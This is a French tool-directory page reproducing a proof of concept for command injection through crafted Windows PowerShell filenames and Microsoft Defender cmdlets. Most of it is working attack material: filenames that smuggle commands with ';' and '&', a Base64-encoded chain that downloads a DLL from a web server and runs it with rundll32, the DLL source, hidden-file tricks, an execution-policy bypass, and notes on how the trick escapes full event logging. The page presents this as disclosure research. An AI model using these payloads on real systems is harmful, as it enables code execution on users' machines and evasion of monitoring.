Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
PSTrojanFile — POC d'exécution de code non corrigé via le nom de fichier Windows PowerShell | Kitploit
Outils/GitHubGitHub/hyp3rlinx/pstrojanfile
Génération de PayloadsAnalyse des VulnérabilitésExploitationÉvasion IDS/IPSScripting et AutomatisationCTFTests d'IntrusionArticles et RechercheApprentissage et Éducation
GitHubhyp3rlinx/pstrojanfile

PSTrojanFile

POC d'exécution de code non corrigé via le nom de fichier Windows PowerShell

428il y a 2 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt

PSTrojanFile

Nom de fichier Windows PowerShell et API Defender Anti-Malware – POC d'exécution de code

Découverte : John Page (alias hyp3rlinx) 2019, révisé en 2023

Mis à jour le 24 déc. 2023

Contournement de l'obstacle des guillemets simples dans PowerShell pour l'exécution de code, et en bonus, l'échec du journal des événements Windows de PowerShell !
Le point-virgule et son ami l'opérateur « & » unissent leurs forces pour des capacités d'exécution de code arbitraire.

Exécutez un malware indésirable :
C:\Users\gg\Downloads>powershell get-filehash 'Infected&Malware;.zip' -algorithm md5

OU

Analyse anti-malware de Windows Defender :
powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected&Malware;.zip'

Comme Malware.exe se trouve dans le même répertoire, pensez à un drive-by download.

Échec du journal des événements Windows : l'ID d'événement PS 403 ne journalise pas le véritable nom de fichier en raison de la troncature :

Extrait du journal PS :

HostApplication=powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected
EngineVersion=5.1.19041.3803

Appeler la commande ping ? pourquoi pas
C:>powershell get-filehash 'powerfail&ping 8.8.8.8&.txt' -algorithm md5

Déconnecter la victime :
C:>powershell Start-MpScan -Scanpath 'virus&logoff&test.zip'

Mis à jour : 7 déc. 2023, ajout du vecteur CL et de l'API Windows Defender, voir ci-dessous :

Comme cela fonctionne toujours, je l'ai dépoussiéré et apporté des améliorations mineures :

  1. Exécuter une DLL distante à l'aide de rundll32
  2. Exécuter un script PS1 secondaire non prévu ou un fichier texte local (qui peut être caché)
  3. Mise à jour du script Python3 de création de noms de fichiers PS1 troyens

Signalé à Microsoft pour la première fois en 2019, il reste non corrigé au moment où j'écris ces lignes.

Exécution de code à distance via un nom de fichier spécialement conçu.

La faille est due au point-virgule « ; » : on peut décoder une commande Base64 et l'exécuter directement depuis le nom du fichier PS1, ou simplement exécuter des commandes.

Test;POweRsHeLL -e [BASE64 UTF-16LE PAYLOAD];.ps1

Exécutez des commandes directement

"Testing;saps (gc -) PoC;.ps1"

Vecteurs : double-clic, glisser-déposer vers un raccourci PS

Exploite des commandes PS abrégées alternatives comme « saps », « gc » pour démarrer un processus et récupérer du contenu, etc.

Exemple d'exécution de DLL :

Créez un fichier PS1 troyen qui tentera de télécharger et d'exécuter une DLL distante nommée « 1.d ».

Python :

from base64 import b64encode

b64encode("saps http[]//127.0.0.1/1.d;sleep -s 2;rundll32 $HOME\Downloads\1.d, 0".encode('UTF-16LE'))

cwBhAHAAcwAgACAAaAB0AHQAcAA6AC8ALwAxADIANwAuADAALgAwAC4AMQAvADEALgBkADsAcwBsAGUAZQBwACAALQBzACAAMgA7AHIAdQBuAGQAbABsADMAMgAgACQASABPAE0ARQBcAEQAbwB3AG4AbABvAGEAZABzAFwAMQAuAGQALAAgADAA

Code de la DLL :

#include <windows.h>

//gcc -shared -o mydll.dll mydll.c -m32

//hyp3rlinx

void evilo(void){

MessageBox(0,"Filename Remote Code Execution PoC\r\nBy hyp3rlinx","M$ Windows PowerShell",1);

}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){

evilo();

return 0;

}

python -m http.server 80

Double-cliquez sur le fichier PS1 troyen.

Exemple d'exécution de code via un fichier texte :

Créez un fichier PS1 dont le nom inclut saps « start a process » et gc « get-content » ; cela lira les commandes depuis un fichier caché.

"Test;saps (gc -) PoC;.ps1"

Créez un fichier caché : attrib +s +h "-"

Double-cliquez ou glissez-déposez.

Prérequis :

a) Les fichiers PS1 de PowerShell doivent être configurés pour s'ouvrir avec PowerShell comme programme par défaut

b) Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force

c) L'utilisateur doit double-cliquer, exécuter depuis la ligne de commande ou glisser-déposer le script PS1 au nom malveillant

https://www.youtube.com/watch?v=-ZJnA70Cf4I

https://github.com/hyp3rlinx/PSTrojanFile/assets/12366009/029d41d2-af58-434d-8d0f-0bf8f01d1c55

PSTrojanFile

Mise à jour : API PowerShell Microsoft Defender Anti-Malware – Exécution de code arbitraire.

Microsoft Defender Anti-Malware et/ou les API PS peuvent aboutir à l'exécution de code arbitraire. Par exemple, analyser un répertoire, un raccourci .lnk ou même un élément inexistant peut exécuter du code non voulu. Ce vecteur s'appuie sur mon précédent avis et sur le projet PSTrojanFile qui en a découlé.

Prérequis :

  1. Sur la ligne de commande, la commande « powershell » est préfixée ou transmise en appelant PowerShell depuis un autre script
  2. Un fichier exécutable du même nom que le paramètre et situé à proximité

Exemples :
powershell Start-MpScan -Scanpath "C:\Users\gg\Downloads;saps Helper;.1.zip" (Helper.exe se trouve sur le Bureau)

Créez un répertoire « ;saps Test » ; Test.exe, Test.cmd, etc. se trouvent sur le même chemin de ligne de commande
powershell Add-MpPreference -ControlledFolderAccessAllowedApplications ";saps Test"

Créez un répertoire avec un point-virgule, déposez un fichier PE nommé doom.exe dans le même chemin.
powershell Set-ProcessMitigation -PolicyFilePath "test;saps doom"

Enfin, et non des moindres : Quand vous récupérez un hash de fichier dans PowerShell, cela vous déconnecte :)
c:>powershell get-filehash -algorithm MD5 "Malware;saps logoff.exe"

https://www.youtube.com/watch?v=0Go6yJiRWP8

https://github.com/hyp3rlinx/PSTrojanFile/assets/12366009/b033b9f8-1ea0-4ea3-9fa3-56ea63db5b08

Télécharger l’outil